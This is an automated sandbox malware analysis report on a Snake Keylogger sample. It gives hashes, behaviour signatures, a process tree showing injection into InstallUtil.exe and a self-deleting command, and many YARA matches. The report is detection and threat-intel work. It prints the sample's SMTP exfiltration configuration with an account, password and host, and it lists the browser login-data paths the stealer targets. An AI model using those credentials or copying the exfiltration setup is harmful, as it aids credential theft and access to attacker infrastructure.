Edit tour

Windows Analysis Report
Ref_336210627.exe

Overview

General Information

Sample name:	Ref_336210627.exe
Analysis ID:	1519347
MD5:	bd22f0c99670c51675ebb91843db7181
SHA1:	8d290ff02196024b6ae7a564172a29e73e00de7d
SHA256:	8921e9e55861c043b028cee713316efd923aff62fca9abb2e7cc7eb3092063e3
Tags:	exeSnakeKeyloggeruser-cocaman
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Ref_336210627.exe (PID: 6036 cmdline: "C:\Users\user\Desktop\Ref_336210627.exe" MD5: BD22F0C99670C51675EBB91843DB7181)

InstallUtil.exe (PID: 480 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 5968 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 1028 cmdline: choice /C Y /N /D Y /T 3 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

ijohw.exe (PID: 3120 cmdline: "C:\Users\user\AppData\Roaming\ijohw.exe" MD5: BD22F0C99670C51675EBB91843DB7181)

InstallUtil.exe (PID: 3412 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 1308 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 6988 cmdline: choice /C Y /N /D Y /T 3 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

ijohw.exe (PID: 4168 cmdline: "C:\Users\user\AppData\Roaming\ijohw.exe" MD5: BD22F0C99670C51675EBB91843DB7181)

InstallUtil.exe (PID: 1260 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 6748 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 1272 cmdline: choice /C Y /N /D Y /T 3 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "sendqpostal@bisttro.shop", "Password": "W79cDo2h05Iv", "Host": "bisttro.shop", "Port": "587", "Version": "5.1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14ad2:$a1: get_encryptedPassword 0x14dbe:$a2: get_encryptedUsername 0x148de:$a3: get_timePasswordChanged 0x149d9:$a4: get_passwordField 0x14ae8:$a5: set_encryptedPassword 0x16155:$a7: get_logins 0x160b8:$a10: KeyLoggerEventArgs 0x15d23:$a11: KeyLoggerEventArgsEventHandler
00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1848c:$x1: $%SMTPDV$ 0x184f2:$x2: $#TheHashHere%& 0x19b1b:$x3: %FTPDV$ 0x19c0f:$x4: $%TelegramDv$ 0x15d23:$x5: KeyLoggerEventArgs 0x160b8:$x5: KeyLoggerEventArgs 0x19b3f:$m2: Clipboard Logs ID 0x19d5f:$m2: Screenshot Logs ID 0x19e6f:$m2: keystroke Logs ID 0x1a149:$m3: SnakePW 0x19d37:$m4: \SnakeKeylogger\
00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x157aa:$a1: get_encryptedPassword 0x15a96:$a2: get_encryptedUsername 0x155b6:$a3: get_timePasswordChanged 0x156b1:$a4: get_passwordField 0x157c0:$a5: set_encryptedPassword 0x16e2d:$a7: get_logins 0x16d90:$a10: KeyLoggerEventArgs 0x169fb:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19164:$x1: $%SMTPDV$ 0x191ca:$x2: $#TheHashHere%& 0x1a7f3:$x3: %FTPDV$ 0x1a8e7:$x4: $%TelegramDv$ 0x169fb:$x5: KeyLoggerEventArgs 0x16d90:$x5: KeyLoggerEventArgs 0x1a817:$m2: Clipboard Logs ID 0x1aa37:$m2: Screenshot Logs ID 0x1ab47:$m2: keystroke Logs ID 0x1ae21:$m3: SnakePW 0x1aa0f:$m4: \SnakeKeylogger\
00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x90642:$a1: get_encryptedPassword 0x9092e:$a2: get_encryptedUsername 0x9044e:$a3: get_timePasswordChanged 0x90549:$a4: get_passwordField 0x90658:$a5: set_encryptedPassword 0x91cc5:$a7: get_logins 0x91c28:$a10: KeyLoggerEventArgs 0x91893:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x93ffc:$x1: $%SMTPDV$ 0x94062:$x2: $#TheHashHere%& 0x9568b:$x3: %FTPDV$ 0x9577f:$x4: $%TelegramDv$ 0x91893:$x5: KeyLoggerEventArgs 0x91c28:$x5: KeyLoggerEventArgs 0x956af:$m2: Clipboard Logs ID 0x958cf:$m2: Screenshot Logs ID 0x959df:$m2: keystroke Logs ID 0x95cb9:$m3: SnakePW 0x958a7:$m4: \SnakeKeylogger\
00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x147fa:$a1: get_encryptedPassword 0x14ae6:$a2: get_encryptedUsername 0x14606:$a3: get_timePasswordChanged 0x14701:$a4: get_passwordField 0x14810:$a5: set_encryptedPassword 0x15e7d:$a7: get_logins 0x15de0:$a10: KeyLoggerEventArgs 0x15a4b:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x181b4:$x1: $%SMTPDV$ 0x1821a:$x2: $#TheHashHere%& 0x19843:$x3: %FTPDV$ 0x19937:$x4: $%TelegramDv$ 0x15a4b:$x5: KeyLoggerEventArgs 0x15de0:$x5: KeyLoggerEventArgs 0x19867:$m2: Clipboard Logs ID 0x19a87:$m2: Screenshot Logs ID 0x19b97:$m2: keystroke Logs ID 0x19e71:$m3: SnakePW 0x19a5f:$m4: \SnakeKeylogger\
00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19933:$x3: %FTPDV$ 0x19a27:$x4: $%TelegramDv$ 0x19957:$m2: Clipboard Logs ID 0x19b77:$m2: Screenshot Logs ID 0x19c87:$m2: keystroke Logs ID 0x19f61:$m3: SnakePW 0x19b4f:$m4: \SnakeKeylogger\
00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1497a:$a1: get_encryptedPassword 0x14c66:$a2: get_encryptedUsername 0x14786:$a3: get_timePasswordChanged 0x14881:$a4: get_passwordField 0x14990:$a5: set_encryptedPassword 0x15ffd:$a7: get_logins 0x15f60:$a10: KeyLoggerEventArgs 0x15bcb:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18334:$x1: $%SMTPDV$ 0x1839a:$x2: $#TheHashHere%& 0x199c3:$x3: %FTPDV$ 0x19ab7:$x4: $%TelegramDv$ 0x15bcb:$x5: KeyLoggerEventArgs 0x15f60:$x5: KeyLoggerEventArgs 0x199e7:$m2: Clipboard Logs ID 0x19c07:$m2: Screenshot Logs ID 0x19d17:$m2: keystroke Logs ID 0x19ff1:$m3: SnakePW 0x19bdf:$m4: \SnakeKeylogger\
00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1975b:$x3: %FTPDV$ 0x1984f:$x4: $%TelegramDv$ 0x1977f:$m2: Clipboard Logs ID 0x1999f:$m2: Screenshot Logs ID 0x19aaf:$m2: keystroke Logs ID 0x19d89:$m3: SnakePW 0x19977:$m4: \SnakeKeylogger\
00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1982b:$x3: %FTPDV$ 0x1991f:$x4: $%TelegramDv$ 0x1984f:$m2: Clipboard Logs ID 0x19a6f:$m2: Screenshot Logs ID 0x19b7f:$m2: keystroke Logs ID 0x19e59:$m3: SnakePW 0x19a47:$m4: \SnakeKeylogger\
00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14912:$a1: get_encryptedPassword 0x14bfe:$a2: get_encryptedUsername 0x1471e:$a3: get_timePasswordChanged 0x14819:$a4: get_passwordField 0x14928:$a5: set_encryptedPassword 0x15f95:$a7: get_logins 0x15ef8:$a10: KeyLoggerEventArgs 0x15b63:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x182cc:$x1: $%SMTPDV$ 0x18332:$x2: $#TheHashHere%& 0x1995b:$x3: %FTPDV$ 0x19a4f:$x4: $%TelegramDv$ 0x15b63:$x5: KeyLoggerEventArgs 0x15ef8:$x5: KeyLoggerEventArgs 0x1997f:$m2: Clipboard Logs ID 0x19b9f:$m2: Screenshot Logs ID 0x19caf:$m2: keystroke Logs ID 0x19f89:$m3: SnakePW 0x19b77:$m4: \SnakeKeylogger\
00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Ref_336210627.exe PID: 6036	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Ref_336210627.exe PID: 6036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Ref_336210627.exe PID: 6036	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Ref_336210627.exe PID: 6036	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Ref_336210627.exe PID: 6036	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x260db:$a1: get_encryptedPassword 0x4dbf65:$a1: get_encryptedPassword 0x2629b:$a2: get_encryptedUsername 0x4dc247:$a2: get_encryptedUsername 0x25f04:$a3: get_timePasswordChanged 0x4dbd7b:$a3: get_timePasswordChanged 0x25ff3:$a4: get_passwordField 0x4dbe76:$a4: get_passwordField 0x260f1:$a5: set_encryptedPassword 0x4dbf7b:$a5: set_encryptedPassword 0x27e3a:$a7: get_logins 0x4de454:$a7: get_logins 0x27da7:$a10: KeyLoggerEventArgs 0x4de3b7:$a10: KeyLoggerEventArgs 0x27ade:$a11: KeyLoggerEventArgsEventHandler 0x4de022:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Ref_336210627.exe PID: 6036	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x27ade:$x5: KeyLoggerEventArgs 0x27da7:$x5: KeyLoggerEventArgs 0x28508:$x5: KeyLoggerEventArgs 0x28869:$x5: KeyLoggerEventArgs 0x4de022:$x5: KeyLoggerEventArgs 0x4de3b7:$x5: KeyLoggerEventArgs 0x4decbe:$x5: KeyLoggerEventArgs 0x4df01f:$x5: KeyLoggerEventArgs 0x29daa:$m2: Clipboard Logs ID 0x29ea1:$m2: Screenshot Logs ID 0x29ef7:$m2: keystroke Logs ID 0x4ab8f9:$m2: Clipboard Logs ID 0x4ab9f0:$m2: Screenshot Logs ID 0x4aba46:$m2: keystroke Logs ID 0x4e061c:$m2: Clipboard Logs ID 0x4e0713:$m2: Screenshot Logs ID 0x4e0769:$m2: keystroke Logs ID 0x2a02c:$m3: SnakePW 0x4abb7b:$m3: SnakePW 0x4e089e:$m3: SnakePW 0x29e8d:$m4: \SnakeKeylogger\
Process Memory Space: InstallUtil.exe PID: 480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 480	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 480	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xa929:$a1: get_encryptedPassword 0xac0b:$a2: get_encryptedUsername 0xa73f:$a3: get_timePasswordChanged 0xa83a:$a4: get_passwordField 0xa93f:$a5: set_encryptedPassword 0xce18:$a7: get_logins 0xcd7b:$a10: KeyLoggerEventArgs 0xc9e6:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: InstallUtil.exe PID: 480	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc9e6:$x5: KeyLoggerEventArgs 0xcd7b:$x5: KeyLoggerEventArgs 0xd682:$x5: KeyLoggerEventArgs 0xd9e3:$x5: KeyLoggerEventArgs 0xefe0:$m2: Clipboard Logs ID 0xf0d7:$m2: Screenshot Logs ID 0xf12d:$m2: keystroke Logs ID 0xf262:$m3: SnakePW 0xf0c3:$m4: \SnakeKeylogger\
Process Memory Space: ijohw.exe PID: 3120	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: ijohw.exe PID: 3120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ijohw.exe PID: 3120	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ijohw.exe PID: 3120	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: ijohw.exe PID: 3120	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x40fcb:$a1: get_encryptedPassword 0x5a43a:$a1: get_encryptedPassword 0x412ad:$a2: get_encryptedUsername 0x5a71c:$a2: get_encryptedUsername 0x40de1:$a3: get_timePasswordChanged 0x5a250:$a3: get_timePasswordChanged 0x40edc:$a4: get_passwordField 0x5a34b:$a4: get_passwordField 0x40fe1:$a5: set_encryptedPassword 0x5a450:$a5: set_encryptedPassword 0x434ba:$a7: get_logins 0x5c929:$a7: get_logins 0x4341d:$a10: KeyLoggerEventArgs 0x5c88c:$a10: KeyLoggerEventArgs 0x43088:$a11: KeyLoggerEventArgsEventHandler 0x5c4f7:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: ijohw.exe PID: 3120	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x43088:$x5: KeyLoggerEventArgs 0x4341d:$x5: KeyLoggerEventArgs 0x43d24:$x5: KeyLoggerEventArgs 0x44085:$x5: KeyLoggerEventArgs 0x5c4f7:$x5: KeyLoggerEventArgs 0x5c88c:$x5: KeyLoggerEventArgs 0x5d193:$x5: KeyLoggerEventArgs 0x5d4f4:$x5: KeyLoggerEventArgs 0x45682:$m2: Clipboard Logs ID 0x45779:$m2: Screenshot Logs ID 0x457cf:$m2: keystroke Logs ID 0x52df5:$m2: Clipboard Logs ID 0x52eec:$m2: Screenshot Logs ID 0x52f42:$m2: keystroke Logs ID 0x5eaf1:$m2: Clipboard Logs ID 0x5ebe8:$m2: Screenshot Logs ID 0x5ec3e:$m2: keystroke Logs ID 0x45904:$m3: SnakePW 0x53077:$m3: SnakePW 0x5ed73:$m3: SnakePW 0x45765:$m4: \SnakeKeylogger\
Process Memory Space: ijohw.exe PID: 4168	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: ijohw.exe PID: 4168	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ijohw.exe PID: 4168	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ijohw.exe PID: 4168	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: ijohw.exe PID: 4168	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2651:$a1: get_encryptedPassword 0x2933:$a2: get_encryptedUsername 0x2467:$a3: get_timePasswordChanged 0x2562:$a4: get_passwordField 0x2667:$a5: set_encryptedPassword 0x4b40:$a7: get_logins 0x4aa3:$a10: KeyLoggerEventArgs 0x470e:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: ijohw.exe PID: 4168	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x470e:$x5: KeyLoggerEventArgs 0x4aa3:$x5: KeyLoggerEventArgs 0x53aa:$x5: KeyLoggerEventArgs 0x570b:$x5: KeyLoggerEventArgs 0x6d08:$m2: Clipboard Logs ID 0x6dff:$m2: Screenshot Logs ID 0x6e55:$m2: keystroke Logs ID 0x38cb2:$m2: Clipboard Logs ID 0x38da9:$m2: Screenshot Logs ID 0x38dff:$m2: keystroke Logs ID 0x6f8a:$m3: SnakePW 0x38f34:$m3: SnakePW 0x6deb:$m4: \SnakeKeylogger\ 0x38d95:$m4: \SnakeKeylogger\
Process Memory Space: InstallUtil.exe PID: 3412	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 1260	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Click to see the 61 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Ref_336210627.exe.6610000.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x149fa:$a1: get_encryptedPassword 0x14ce6:$a2: get_encryptedUsername 0x14806:$a3: get_timePasswordChanged 0x14901:$a4: get_passwordField 0x14a10:$a5: set_encryptedPassword 0x1607d:$a7: get_logins 0x15fe0:$a10: KeyLoggerEventArgs 0x15c4b:$a11: KeyLoggerEventArgsEventHandler
1.2.InstallUtil.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c433:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b665:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba98:$a4: \Orbitum\User Data\Default\Login Data 0x1cad7:$a5: \Kometa\User Data\Default\Login Data
1.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x155be:$s1: UnHook 0x155c5:$s2: SetHook 0x155cd:$s3: CallNextHook 0x155da:$s4: _hook
1.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b4:$x1: $%SMTPDV$ 0x1841a:$x2: $#TheHashHere%& 0x19a43:$x3: %FTPDV$ 0x19b37:$x4: $%TelegramDv$ 0x15c4b:$x5: KeyLoggerEventArgs 0x15fe0:$x5: KeyLoggerEventArgs 0x19a67:$m2: Clipboard Logs ID 0x19c87:$m2: Screenshot Logs ID 0x19d97:$m2: keystroke Logs ID 0x1a071:$m3: SnakePW 0x19c5f:$m4: \SnakeKeylogger\
0.2.Ref_336210627.exe.4b99f70.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.2.ijohw.exe.4b1a300.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
3.2.ijohw.exe.3a3fdb0.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.ijohw.exe.3a3fdb0.8.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
3.2.ijohw.exe.3a3fdb0.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12bfa:$a1: get_encryptedPassword 0x12ee6:$a2: get_encryptedUsername 0x12a06:$a3: get_timePasswordChanged 0x12b01:$a4: get_passwordField 0x12c10:$a5: set_encryptedPassword 0x1427d:$a7: get_logins 0x141e0:$a10: KeyLoggerEventArgs 0x13e4b:$a11: KeyLoggerEventArgsEventHandler
3.2.ijohw.exe.3a3fdb0.8.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a633:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19865:$a3: \Google\Chrome\User Data\Default\Login Data 0x19c98:$a4: \Orbitum\User Data\Default\Login Data 0x1acd7:$a5: \Kometa\User Data\Default\Login Data
3.2.ijohw.exe.3a3fdb0.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x137be:$s1: UnHook 0x137c5:$s2: SetHook 0x137cd:$s3: CallNextHook 0x137da:$s4: _hook
